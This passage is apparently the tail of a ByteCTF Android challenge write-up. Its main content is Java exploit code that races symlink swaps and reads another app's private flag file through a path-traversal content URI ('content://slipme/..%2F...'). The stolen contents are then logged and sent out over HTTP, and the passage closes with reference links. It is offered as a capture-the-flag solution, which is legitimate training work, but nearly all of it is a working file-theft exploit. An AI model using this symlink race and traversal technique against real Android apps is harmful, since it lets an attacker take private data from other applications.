int result; String content = "" ; while ((result = inputStream.read(buffer)) != -1 ) { content = content.concat(new String (buffer, 0 , result)); } return content; } } catch (IOException e) { Log.e("receiver" , "IOException when reading uri" , e); } catch (IllegalArgumentException e) { Log.e("receiver" , "IllegalArgumentException" , e); } finally { if (inputStream != null ) { try { inputStream.close(); } catch (IOException e) { Log.e("receiver" , "IOException when closing stream" , e); } } } return null ; } @Override protected void onCreate (Bundle savedInstanceState) { super .onCreate(savedInstanceState); setContentView(R.layout.activity_main); String root = getApplicationInfo().dataDir; symlink = root + "/symlink" ; try { Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor(); } catch (InterruptedException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } String path = "content://slipme/" + "..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F" + "data%2Fdata%2Fcom.bytectf.pwngolddroid%2Fsymlink" ; new Thread (() -> { while (true ) { try { Thread.sleep(1 ); Runtime.getRuntime().exec("ln -sf /sdcard/Android/data/com.bytectf.golddroid/files/sandbox/file1 " + symlink).waitFor(); } catch (InterruptedException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } }).start(); new Thread (() -> { while (true ) { try { Thread.sleep(1 ); Runtime.getRuntime().exec("ln -sf /data/data/com.bytectf.golddroid/files/flag " + symlink).waitFor(); } catch (InterruptedException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } }).start(); new Thread (() -> { while (true ) { try { Thread.sleep(10 ); } catch (InterruptedException e) { e.printStackTrace(); } String data = readUri(Uri.parse(path)); if (data.length()>0 ){ Log.e("has_data" ,data); httpGet(data); } } }).start(); } }
本地拿到flag,也可以翻日志看
参考链接:http://gityuan.com/2016/02/27/am-command/
https://blog.csdn.net/Palmer9/article/details/122420707
https://bytedance.feishu.cn/docx/doxcnWmtkIItrGokckfo1puBtCh
https://juejin.cn/post/6844903938790014990
https://shvu8e0g7u.feishu.cn/docs/doccndYygIwisrk0FGKnKvE0Jhg
https://support.google.com/faqs/answer/7496913